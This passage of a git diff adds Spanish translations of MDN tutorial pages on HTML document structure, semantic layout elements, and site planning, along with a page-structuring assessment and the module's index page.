+        &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent et diam eget libero egestas mattis sit amet vitae augue. Nam tincidunt congue enim, ut porta lorem lacinia consectetur.&lt;/p&gt;
+
+        &lt;h3&gt;Subsección&lt;/h3&gt;
+
+        &lt;p&gt;Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean ut gravida lorem. Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.&lt;/p&gt;
+
+        &lt;p&gt;Pelientesque auctor nisi id magna consequat sagittis. Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet. Ut convallis libero in urna ultrices accumsan. Donec sed odio eros.&lt;/p&gt;
+
+        &lt;h3&gt;Otra subsección&lt;/h3&gt;
+
+        &lt;p&gt;Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum soclis natoque penatibus et manis dis parturient montes, nascetur ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem facilisis semper ac in est.&lt;/p&gt;
+
+        &lt;p&gt;Vivamus fermentum semper porta. Nunc diam velit, adipscing ut tristique vitae sagittis vel odio. Maecenas convallis ullamcorper ultricied. Curabitur ornare, ligula semper consectetur sagittis, nisi diam iaculis velit, is fringille sem nunc vet mi.&lt;/p&gt;
+      &lt;/article&gt;
+
+      &lt;!-- el contenido aparte también se puede anidar dentro del contenido principal --&gt;
+      &lt;aside&gt;
+        &lt;h2&gt;Relacionado&lt;/h2&gt;
+
+        &lt;ul&gt;
+          &lt;li&gt;&lt;a href="#"&gt;Oh, me gusta estar junto al mar&lt;/a&gt;&lt;/li&gt;
+          &lt;li&gt;&lt;a href="#"&gt;Oh, me gusta estar junto al mar&lt;/a&gt;&lt;/li&gt;
+          &lt;li&gt;&lt;a href="#"&gt;Aunque en el norte de Inglaterra&lt;/a&gt;&lt;/li&gt;
+          &lt;li&gt;&lt;a href="#"&gt;Nunca deja de llover&lt;/a&gt;&lt;/li&gt;
+          &lt;li&gt;&lt;a href="#"&gt;Oh, bueno...&lt;/a&gt;&lt;/li&gt;
+        &lt;/ul&gt;
+      &lt;/aside&gt;
+
+    &lt;/main&gt;
+
+    &lt;!-- Y aquí está nuestro pie de página principal que se utiliza en todas las páginas de nuestro sitio web --&gt;
+
+    &lt;footer&gt;
+      &lt;p&gt;©Copyright 2050 de nadie. Todos los derechos revertidos.&lt;/p&gt;
+    &lt;/footer&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Tómate tu tiempo para revisar el código y comprenderlo — Los comentarios en el código también te ayudarán a entenderlo. No te pedimos que hagas mucho más en este artículo, porque la clave para entender el diseño del documento es escribir una estructura HTML conocida y posteriormente desarrollar su apariencia con CSS. Estudiaremos el diseño CSS como parte del tema CSS.</p>
+
+<h2 id="Elementos_de_diseño_HTML_en_detalle">Elementos de diseño HTML en detalle</h2>
+
+<p>Es bueno entender el significado global de todos los elementos definitorios de las secciones HTML en detalle; es algo en que trabajarás gradualmente a medida que comiences a tener más experiencia en el desarrollo web. En el enlace {{web.link("/es/docs/Web/HTML/Element", "referencia de elementos HTML")}} podemos entrar en un gran nivel de detalle. Por el momento, estas son las definiciones principales que deberíamos tratar de entender:</p>
+
+<ul>
+ <li>{{HTMLElement('main')}} encierra el contenido particular a esta página. Utilizaremos <code>&lt;main&gt;</code> solamente una vez para cada página y lo situaremos directamente dentro del elemento {{HTMLElement('body')}}. Es mejor que no lo anidemos en otros elementos.</li>
+ <li>{{HTMLElement('article')}} encuadra un bloque de contenido que tiene sentido por sí mismo aparte del resto de la página (por ejemplo una entrada en un blog).</li>
+ <li>{{HTMLElement('section')}} es parecido al elemento <code>&lt;article&gt;</code>, pero se usa más para agrupar cada parte de la página que, por su funcionalidad, constituye una sección en sí misma (por ejemplo un minimapa o un conjunto de titulares y resúmenes). Se considera una buena práctica comenzar cada una de estas secciones con un título de encabezado ({{web.link("/es/Learn/HTML/Howto/Set_up_a_proper_title_hierarchy", "heading")}}); observa que podemos subdividir artículos (<code>&lt;article&gt;</code>) en distintas secciones (<code>&lt;section&gt;</code>), o también secciones en distintos artículos, dependiendo del contexto.</li>
+ <li>{{HTMLElement('aside')}} incluye contenido que no está directamente relacionado con el contenido principal, pero que puede aportar información adicional relacionada indirectamente con él (resúmenes, biografías del autor, enlaces relacionados, etc.).</li>
+ <li>{{HTMLElement('header')}} representa un grupo de contenido introductorio. Si este es «<em>hijo</em>» de un elemento {{HTMLElement('body')}}, se convertirá en el <strong>encabezado</strong> principal del sitio web, pero si es hijo de un elemento {{HTMLElement('article')}} o un elemento {{HTMLElement('section')}}, entonces simplemente será el <strong>encabezado</strong> particular de cada sección (por favor, no lo confundas con {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML#Añadir_un_título","títulos y encabezados")}}).</li>
+ <li>{{HTMLElement('nav')}} contiene la funcionalidad de navegación principal de la página. Los enlaces secundarios, etc., no entrarán en la navegación.</li>
+ <li>{{HTMLElement('footer')}} representa un grupo de contenido al final de una página.</li>
+</ul>
+
+<h3 id="Envolturas_no_semánticas">Envolturas no semánticas</h3>
+
+<p>A veces hay situaciones en las que no encuentras un elemento semántico adecuado para agrupar ciertos elementos o englobar cierto contenido. Podrías querer agrupar ciertos elementos para referirte a ellos como una entidad que comparta cierto {{Glossary("CSS")}} o {{Glossary("JavaScript")}}. Para casos como esos, HTML dispone del elemento {{HTMLElement("div")}} y del elemento {{HTMLElement("span")}}. Preferentemente estos elementos se deberán utilizar con sus atributos ({{HTMLAttrxRef('class')}}), para conferirles algún tipo de etiquetado que permita determinarlos con facilidad.</p>
+
+<p>{{HTMLElement("span")}} es un elemento no-semántico que se utiliza en el interior de una línea. Se utiliza cuando no se nos ocurre el uso de ningún otro elemento semántico de texto en el que incluir el contenido, o si no se desea añadir ningún significado específico. Por ejemplo:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;El rey volvió ebrio a su habitación alrededor de la 01:00, y sin duda la cerveza no le ayudaba
+cuando cruzó tambaleante la puerta &lt;span class="editor-note"&gt;[nota del editor: en este instante de la
+representación, deberían atenuarse las luces]&lt;/span&gt;.&lt;/p&gt;</pre>
+
+<p>En este caso, la nota del editor solo proporciona información extra para el director de la obra; se supone que estos elementos no incluyen contenido extra importante. Para los usuarios sin discapacidad visual, quizás debamos usar CSS para diferenciar sutilmente estas notas del texto principal.</p>
+
+<p>{{HTMLElement("div")}} es un elemento de bloque no-semántico; lo utilizaras cuando no se te ocurra el uso de otro elemento semántico mejor, o si no deseas añadir ningún significado concreto. Por ejemplo, imagina un carrito de compras que puedes pulsar en cualquier momento durante tu estancia en una tienda virtual:</p>
+
+<pre class="brush: html notranslate">&lt;div class="shopping-cart"&gt;
+  &lt;h2&gt;Carrito de compras&lt;/h2&gt;
+  &lt;ul&gt;
+    &lt;li&gt;
+      &lt;p&gt;&lt;a href=""&gt;&lt;strong&gt;Pendientes de plata&lt;/strong&gt;&lt;/a&gt;: $99.95.&lt;/p&gt;
+      &lt;img src="../products/3333-0985/" alt="Pendientes de plata"&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+      ...
+    &lt;/li&gt;
+  &lt;/ul&gt;
+  &lt;p&gt;Importe total: $237.89&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>Este no es un elemento lateral (<code>&lt;aside&gt;</code>) porque no necesariamente está relacionado con el contenido principal de la página (en realidad quieres que se pueda ver desde cualquier página). Ni siquiera se puede incluir en una sección (<code>&lt;section&gt;</code>) porque su contenido no forma parte del contenido principal de la página. Por lo tanto, un elemento <code>&lt;div&gt;</code> es el adecuado en este caso. Hemos incluido un <strong>encabezado</strong> para indicar a los lectores de pantalla donde van a encontrarlo.</p>
+
+<div class="warning">
+<p><strong>Atención</strong>: Los elementos <code>div</code> son tan prácticos y simples que es fácil usarlos en exceso. Como no conllevan valor semántico, enmarañan el código HTML. Debemos tener cuidado de usarlos solo cuando no halles una solución mejor y reducir su uso al mínimo, porque de otro modo complicarás el mantenimiento y actualización de los documentos.</p>
+</div>
+
+<h3 id="Saltos_de_línea_y_líneas_horizontales">Saltos de línea y líneas horizontales</h3>
+
+<p>Dos elementos que debes conocer y utilizarás ocasionalmente son {{HTMLElement("br")}} y {{HTMLElement("hr")}}:</p>
+
+<p>El elemento {{HTMLElement("br")}} genera un salto de línea en un párrafo; es la única manera de representar series de líneas cortas, como una dirección postal o un poema. Por ejemplo:</p>
+
+<div id="line-break-live-sample">
+<pre class="brush: html notranslate">&lt;p&gt;Había una vez un hombre llamado O'Dell&lt;br&gt;
+A quién le encantaba escribir HTML&lt;br&gt;
+Pero su estructura era mala, su semántica era triste&lt;br&gt;
+y su marcado no se interpretó muy bien.&lt;/p&gt;</pre>
+</div>
+
+<p>Sin el elemento {{HTMLElement("br")}}, todo el párrafo se habría presentado como una sola línea larga (como ya hemos dicho con anterioridad en este curso, {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Getting_started#Los_espacios_en_blanco_en_HTML", "HTML ignora la mayoría del espacio en blanco")}}); con estos elementos {{HTMLElement("br")}} en el código, las líneas quedan:</p>
+
+<p>{{EmbedLiveSample('line-break-live-sample', '100%', '125px', '', '', 'hide-codepen-jsfiddle')}}</p>
+
+<p>Los elementos {{HTMLElement("hr")}} generan una regla horizontal en el documento que denota un cambio en la temática del texto (como un cambio de tema o de escena). Visualmente tiene el aspecto de una línea horizontal. Por ejemplo:</p>
+
+<div id="Ejemplo_en_vivo_línea_horizontal">
+<pre class="brush: html notranslate">&lt;p&gt;Ron fue acorralado en una esquina por las bestias abisales que merodeaban. Asustado, pero decidido a proteger a sus amigos, levantó su varita y se preparó para la batalla, con la esperanza de que su llamada de socorro hubiera llegado a alguien.&lt;/p&gt;
+&lt;hr&gt;
+&lt;p&gt;Mientras tanto, Harry estaba sentado en su casa, mirando su declaración de regalías y pensando en cuándo saldría la próxima serie derivada, cuando de pronto voló por su ventana una carta de socorro y aterrizó en su regazo. La leyó vagamente y suspiró; "Será mejor que vuelva al trabajo entonces", reflexionó.&lt;/p&gt;</pre>
+</div>
+
+<p>Quedará así:</p>
+
+<p>{{EmbedLiveSample('Ejemplo_en_vivo_línea_horizontal', '100%', '185px', '', '', 'hide-codepen-jsfiddle')}}</p>
+
+<h2 id="Planificación_de_una_página_web_sencilla">Planificación de una página web sencilla</h2>
+
+<p>Una vez has planificado el contenido de una página web sencilla, el paso lógico siguiente es intentar trabajar en el contenido para todo el sitio web, las páginas que necesitas y la forma de disponer las conexiones entre ellas para producir la mejor experiencia de usuario a los visitantes. Esto se conoce con el nombre de ({{Glossary("Arquitectura de la información")}}). Una web grande y compleja necesitará mucha planificación, pero para una web sencilla compuesta por unas cuantas páginas, el proceso puede ser sencillo, ¡y divertido!.</p>
+
+<ol>
+ <li>Ten en cuenta que habrá varios elementos comunes en muchas (si no en todas las) páginas, tal como el menú de navegación y el contenido del pie de página. Si la web está dedicada a un negocio, por ejemplo, sería una buena idea disponer de la información de contacto en el pie de página en todas las páginas. Anota lo que deseas tener en común en cada página. <img alt="las características comunes del sitio de viajes para ir en cada página: título y logotipo, contacto, derechos de autor, términos y condiciones, selección de idioma, política de accesibilidad" src="https://mdn.mozillademos.org/files/12423/common-features.png" style="border-style: solid; border-width: 1px; display: block; height: 375px; margin: 0px auto; width: 600px;"></li>
+ <li>A continuación, esboza un esquema sencillo de cuál podría ser la estructura deseada de la apariencia de cada página (podría ser algo tan sencillo como el siguiente dibujo). Anota los bloques principales. <img alt="Un diagrama simple de una estructura de sitio de ejemplo, con un encabezado, un área de contenido principal, dos barras laterales opcionales y un pie de página" src="https://mdn.mozillademos.org/files/12429/site-structure.png" style="border-style: solid; border-width: 1px; display: block; height: 232px; margin: 0px auto; width: 600px;"></li>
+ <li>Ahora, elabora una lista completa con todo el resto del contenido de tu sitio web que no sea común a todas las páginas. <img alt="Una larga lista de todas las funciones que podrías incluir en tu sitio de viajes, desde buscar, hasta ofertas especiales e información específica del país" src="https://mdn.mozillademos.org/files/12425/feature-list.png" style="border-style: solid; border-width: 1px; display: block; height: 1066px; margin: 0px auto; width: 600px;"></li>
+ <li>A continuación, trata de ordenar todo este contenido por grupos, para hacerte una idea de las partes que podrían ir juntas en las diferentes páginas. Esto es muy similar a una técnica llamada {{Glossary("Clasificación de tarjetas")}}. <img alt="Los elementos que deberían aparecer en un sitio de vacaciones ordenados en 5 categorías: Búsqueda, Especiales, Información específica del país, Resultados de búsqueda y Compra cosas" src=" https://mdn.mozillademos.org/files/12421/card-sorting.png" style="border-style: solid; border-width: 1px; display: block; height: 579px; margin: 0px auto; width: 600px;"></li>
+ <li>Ahora trata de esquematizar un mapa de tu sitio — dibuja un globo para cada página de tu sitio web y dibuja líneas que identifiquen el flujo de datos entre las distintas páginas. La página de inicio normalmente estará ubicada en el centro y enlazará con el resto de páginas; la mayoría de las páginas de una web sencilla estarán enlazadas desde el menú de navegación principal, aunque puede haber excepciones. También puedes incluir notas sobre cómo se pueden presentar las cosas. <img alt="Un mapa del sitio que muestra la página de inicio, la página del país, los resultados de búsqueda, la página de ofertas especiales, la página de pago y la página de compra" src="https://mdn.mozillademos.org/files/12427/site-map.png" style="border-style: solid; border-width: 1px; display: block; height: 872px; margin: 0px auto; width: 600px;"></li>
+</ol>
+
+<h3 id="Aprendizaje_activo_Creación_de_un_mapa_del_sitio_web">Aprendizaje activo: Creación de un mapa del sitio web</h3>
+
+<p>Intenta llevar a cabo el ejercicio anterior para crear tu propia página web. ¿Qué contenido le vas a dar a tu sitio web?</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Guarda este esquema para utilizarlo más adelante.</p>
+</div>
+
+<h2 id="¡Pon_a_prueba_tus_habilidades!">¡Pon a prueba tus habilidades!</h2>
+
+<p>Has llegado al final de este artículo, pero ¿puedes recordar la información más importante? Puedes encontrar una evaluación detallada que pruebe estas habilidades al final del módulo; consulta {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Estructurar el contenido de una página")}}. ¡Recuerda leer primero el siguiente artículo de la serie y no solo saltarlo!</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>En este punto, deberías tener una mejor idea sobre cómo estructurar una página/sitio web. En el último artículo de este módulo, se explica cómo depurar HTML.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{web.link("/es/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines", "Uso de secciones y esquemas HTML")}}: Guía avanzada de elementos semánticos HTML5 y el algoritmo de esquema HTML5.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Getting_started", "Empezar con HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "¿Qué hay en el «head»? Metadatos en HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Fundamentos de texto HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Crear hipervínculos")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Formateo de texto avanzado")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Estructura web y documentación")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Depurar HTML")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Marcado para una carta")}}</li>
+ <li>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Estructuración del contenido de una página")}}</li>
+</ul>
diff --git a/files/es/learn/html/introduccion_a_html/estructuración_de_una_página_de_contenido/index.html b/files/es/learn/html/introduccion_a_html/estructuración_de_una_página_de_contenido/index.html
new file mode 100644
index 0000000000..686940212e
--- /dev/null
+++ b/files/es/learn/html/introduccion_a_html/estructuración_de_una_página_de_contenido/index.html
@@ -0,0 +1,105 @@
+---
+title: Estructuración de una Página de contenido
+slug: Learn/HTML/Introduccion_a_HTML/Estructuración_de_una_página_de_contenido
+tags:
+  - Aprendizaje
+  - Diseño
+  - Escribir Código
+  - Estructuración
+  - Evaluación
+  - HTML
+  - Principiante
+  - Prototipado
+  - semántica
+translation_of: Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}} </div>
+
+<p class="summary"><span id="result_box" lang="es"><span>La estructuración de una página de contenido lista para su uso mediante CSS es una habilidad muy importante para dominar, por lo que en esta evaluación  verá  su capacidad para pensar en cómo  podría finalizar una página  buscando y eligiendo la semántica estructural adecuada para construir</span> <span>un diseño en la parte superior.</span></span></p>
+
+<div id="gt-res-content">
+<div dir="ltr" style="zoom: 1;"> </div>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td><span id="result_box" lang="es"><span>Antes de intentar esta evaluación, usted debería haber trabajado ya en el resto del curso, con un énfasis particular en la </span></span><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Estructura del Documento y del Sitio Web.</a><a href="https://developer.mozilla.org/es/docs/Learn/HTML/Introduccion_a_HTML/estructura">.</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td><span id="result_box" lang="es"><span>Probar el conocimiento de las estructuras de páginas web y cómo representar un prototipado de diseño prospectivo en el marcado.</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Punto_de_partida">Punto de partida</h2>
+
+<p>Para comenzar esta evaluación, debería tomar el  <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/structuring-a-page-of-content-start/assets.zip?raw=true"> archivo zip  que contiene todos los activos de inicio</a>. El archivo zip contiene:</p>
+
+<ul>
+ <li>El HTML que necesitas para añadir marcado estructural.</li>
+ <li>CSS para dar el estilo a tu marcado.</li>
+ <li>Las imágenes que serán utilizadas en la página.</li>
+</ul>
+
+<p>Crée el ejemplo en su ordenador personal, o como alternativa utilize un sitio como <a class="external external-icon" href="http://jsbin.com/">JSBin</a> o <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> para hacer su evaluación.</p>
+
+<h2 id="Breve_Proyecto">Breve Proyecto</h2>
+
+<p>Para este proyecto, su tarea es tomar el contenido de la página principal de un sitio web de observación de aves y añadir elementos estructurales a la misma para que pueda tener un diseño de página aplicado a ella. Necesita tener:</p>
+
+<ul>
+ <li> Un encabezado que abarca todo el ancho del sitio que contiene el título principal de la página, el logotipo del sitio y el menú de navegación. El título y el logotipo aparecen lado a lado una vez que se aplica el estilo, y la navegación aparece debajo de esos dos elementos.</li>
+ <li>  Un área de contenido principal que contiene dos columnas: un bloque principal para contener el texto de bienvenida y una barra lateral para contener miniaturas de imágenes.</li>
+ <li>  Un pie de página que contiene información sobre derechos de autor y créditos.</li>
+</ul>
+
+<p>Debe agregar una presentación adecuada para:</p>
+
+<ul>
+ <li>El encabezado</li>
+ <li>El menú de navegación</li>
+ <li>El contenido principal</li>
+ <li>El texto de bienvenida</li>
+ <li>La barra lateral de imágenes</li>
+ <li>El pié de página</li>
+</ul>
+
+<p>También debería:</p>
+
+<ul>
+ <li> Aplicar el CSS proporcionado a la página agregando otro elemento {{htmlelement ("link")}} justo debajo del existente que se proporciona al principio.</li>
+</ul>
+
+<h2 id="Consejos">Consejos</h2>
+
+<ul>
+ <li>Utilize el <a href="https://validator.w3.org/">validador de HTML  W3C  </a> para validar su  HTML; Obtendrá puntos de bonificación si valida tanto como sea posible (la línea "googleapis" es una línea utilizada para importar fuentes personalizadas en la página del servicio Google Fonts, no se valida, así que no te preocupes. )</li>
+ <li>No necesita saber CSS para hacer esta evaluación; Sólo tiene que poner el CSS proporcionado dentro de un elemento HTML.</li>
+ <li>El CSS proporcionado está diseñado para que cuando se agreguen los elementos estructurales correctos al marcado, aparezcan verdes en la página representada.</li>
+ <li>Si se está quedando atascado y no puede imaginar ni qué elementos poner ni donde ponerlos , a menudo ayuda a dibujar un diagrama de bloques simple del diseño de página, y escribir en los elementos que usted piensa que debe envolver cada bloque.</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>La siguiente captura de pantalla muestra un ejemplo de cómo podría verse la letra después de haber sido marcada.</p>
+
+<p><img alt='The finished example for the assessment; a simple webpage about birdwatching, including a heading of "Birdwatching", bird photos, and a welcome message' src="https://mdn.mozillademos.org/files/12449/example-page.png" style="display: block; margin: 0 auto;"></p>
+
+<h2 id="Evaluación">Evaluación</h2>
+
+<p>Si está siguiendo esta evaluación como parte de un curso organizado, debe ser capaz de dar su trabajo a su maestro / mentor para el marcado. Si usted está aprendiendo por si mismo, entonces  puede obtener la guía de marcado con bastante facilidad preguntando sobre ello en la lista de correo<a href="https://lists.mozilla.org/listinfo/dev-mdc">  dev-mdc</a> , o en el canal IRC <a href="irc://irc.mozilla.org/mdn">#mdn</a>  en <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>. Pruebe a hacer el ejercicio primero - ¡No hay nada que ganar por hacer trampa!</p>
+
+<p>{{PreviousMenu("Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</p>
+
+<div class="s3gt_translate_tooltip" id="s3gt_translate_tooltip" style="position: absolute; left: 61px; top: 1812px; opacity: 0.7;">
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_logo" title="Traducir texto seleccionado"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_sound" title="Reproducir"> </div>
+
+<div class="s3gt_translate_tooltip_mini" id="s3gt_translate_tooltip_mini_copy" title="Copy text to Clipboard"> </div>
+</div>
diff --git a/files/es/learn/html/introduccion_a_html/index.html b/files/es/learn/html/introduccion_a_html/index.html
new file mode 100644
index 0000000000..64c70649cb
--- /dev/null
+++ b/files/es/learn/html/introduccion_a_html/index.html
@@ -0,0 +1,77 @@
+---
+title: Introducción a HTML
+slug: Learn/HTML/Introduccion_a_HTML
+tags:
+  - CodingScripting
+  - Enlaces
+  - Estructura
+  - HTML
+  - Introducción a HTML
+  - Texto
+  - semántica
+translation_of: Learn/HTML/Introduction_to_HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">En su corazón, {{glossary("HTML")}} es un lenguaje muy sencillo compuesto de {{Glossary("Element", "elementos")}}, que se pueden aplicar a piezas de texto para darles un significado diferente en un documento (¿Esto es un párrafo? ¿Esto es una lista con viñetas? ¿Esto es parte de una tabla?), estructura un documento en secciones lógicas (¿Tiene una cabecera? ¿Tres columnas de contenido? ¿Un menú de navegación?), e incrusta contenido como imágenes y vídeos en una página. Este módulo introducirá los dos primeros de estos, e introduce conceptos fundamentales y la sintaxis que necesitas para entender HTML.</p>
+
+<div class="in-page-callout webdev">
+<h3 id="¿Quieres_transformarte_en_un_desarrollador_de_la_interfaz_de_usuario_web">¿Quieres transformarte en un desarrollador de la interfaz de usuario web?</h3>
+
+<p>Hemos elaborado un curso que incluye toda la información esencial que necesitas para trabajar hacia tu objetivo.</p>
+
+<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Empieza aquí</a></p>
+</div>
+
+<h2 id="Prerrequisitos">Prerrequisitos</h2>
+
+<p>Antes de empezar este módulo, no necesitas conocimientos previos de HTML, pero deberías estar, por lo menos, familiarizado con el uso básico de computadoras, y usar la Web pasivamente (es decir, sólo revisándola y consumiendo el contenido). Debes tener configurado un entorno de trabajo básico (como se detalla en {{web.link("/es/docs/Learn/Getting_started_with_the_web/Installing_basic_software", "Instalación de software básico")}}), y comprender cómo crear y administrar archivos (como se detalla en {{web.link("/es/docs/Learn/Getting_started_with_the_web/Dealing_with_files", "Manejo de archivos")}}). Ambos son parte de nuestro módulo completo {{web.link("/es/docs/Learn/Getting_started_with_the_web", "Introducción a la web")}} para principiantes.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si estás trabajando en una computadora, tablet u otro dispositivo en donde no tengas la capacidad de crear tus propios archivos, podrías probar (en su mayoría) el código de los ejemplos en un programa para escribir código en línea como <a href="http://jsbin.com/">JSBin</a> o <a href="">Glitch</a>.</p>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<p>Este módulo contiene los siguientes artículos, que te llevarán a través de toda la teoría básica de HTML, y te proporcionarán una amplia oportunidad de probar algunas habilidades.</p>
+
+<dl>
+ <dt><a href="/es/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Empezar con HTML</a></dt>
+ <dd>Cubre las bases absolutas de HTML, para que puedas empezar — definimos elementos, atributos, y todas los otros términos importantes que puedas haber escuchado, y en donde encajan en el lenguaje. También mostramos cómo está estructurado un elemento HTML, cómo está estructurada una página HTML típica, y explica otras características importantes. <span id="result_box" lang="es">En el camino, vamos a tener un juego con algo de HTML, ¡para alimentar tu intereses!</span></dd>
+ <dt><a href="/es/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">¿Qué hay en la cabecera? Metadatos en HTML</a></dt>
+ <dd>La cabecera de un documento HTML es la parte que <strong>no</strong> se muestra en el navegador web cuando se carga una página. Esta contiene información como el título ({{htmlelement("title")}}) de la página, enlaces a {{glossary("CSS")}} (si quieres estilizar tu contenido HTML con CSS), enlaces a favicons personalizados, y metadatos (que son los datos sobre el HTML, como quién lo escribió, y palabras clave que describen el documento).</dd>
+ <dt><a href="/es/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Fundamentos de texto HTML</a></dt>
+ <dd>Uno de los principales trabajos de HTML es darle significado al texto (también conocido como <strong>semántica</strong>) para que el navegador sepa cómo mostrarlo correctamente. Este artículo trata cómo usar HTML para convertir un bloque de texto en una estructura de encabezados y párrafos, agregar énfasis o importancia a las palabras, crear listas y más.</dd>
+ <dt><a href="/es/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creando hipervínculos</a></dt>
+ <dd>Los hipervínculos realmente son importantes — estos son los que hacen la Web. Este artículo muestra la sintaxis requerida para hacer un enlace, y explica las mejores prácticas sobre enlaces.</dd>
+ <dt><a href="/es/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Formateo de texto avanzado</a></dt>
+ <dd>Hay muchos otros elementos en HTML para formatear texto, que no hemos tratado en los artículos {{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "fundamentos de texto HTML")}}. Los siguientes elementos son menos conocidos, pero sigue siendo útil conocerlos. Aquí aprenderás sobre el marcado de citas, listas de descripción, código de computadoras y otros textos relacionados, <span id="result_box" lang="es"><span> subíndices y superíndices, información de contacto, y mucho más</span>.</span></dd>
+ <dt>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Estructura web y documentación")}}</dt>
+ <dd>Así como definimos las partes individuales de tu página (como "un párrafo" o "una imagen"), HTML también se usa para definir las áreas de tu sitio web (como "la cabecera", "el menú de navegación", "la columna de contenido principal"). Este artículo trata sobre cómo planear una estructura básica del sitio web, y escribir el HTML para representar esa estructura.</dd>
+ <dt><a href="/es/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Depurar HTML</a></dt>
+ <dd>Escribir HTML está bien, pero ¿Qué pasa si algo está mal, y no puedes encontrar en dónde está el error en el código? Este artículo introducirá algunas herramientas que te podrán ayudar.</dd>
+</dl>
+
+<h2 id="Evaluaciones">Evaluaciones</h2>
+
+<p>Las siguientes evaluaciones probarán tu entendimiento de las bases de HTML cubiertas en las guías anteriores.</p>
+
+<dl>
+ <dt>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Marcando para una carta")}}</dt>
+ <dd><span id="result_box" lang="es">Todos aprendemos a escribir una carta, tarde o temprano; ¡Este también es un ejemplo útil para poner a prueba nuestras habilidades de formato de texto! Así que en esta evaluación se te dará una carta a la cual le tendrás que dar un marcado HTML.</span></dd>
+ <dt>{{web.link("/es/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content", "Estructuración del contenido de una página")}}</dt>
+ <dd>Esta evaluación prueba tu capacidad para usar HTML para estructurar el contenido de una sencilla página, esta tiene una cabecera, pie de página, menú de navegación, contenido principal, y una barra lateral.</dd>
+</dl>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<dl>
+ <dt><a href="https://teach.mozilla.org/activities/web-lit-basics/">Bases de la alfabetización Web 1</a></dt>
+ <dd>Un curso excelente de la fundación Mozilla que explora y pone a prueba muchas de las habilidades sobre las cuales hablamos en el módulo de <em>Introducción a HTML</em>. Los estudiantes se familiarizan con la lectura, escritura y participan de la web en este módulo de seis partes. Descubre los fundamentos de la web a través de la producción y colaboración.</dd>
+</dl>
+
+<div class="note">
+<h2 id="Retroalimentación">Retroalimentación</h2>
+
+<p>Ayúdanos a mejorar nuestras guías y tutoriales como esta respondiendo {{web.link("https://www.surveygizmo.com/s3/4871248/MDN-Guides-Survey", "nuestra encuesta aquí")}}.</p>
+</div>
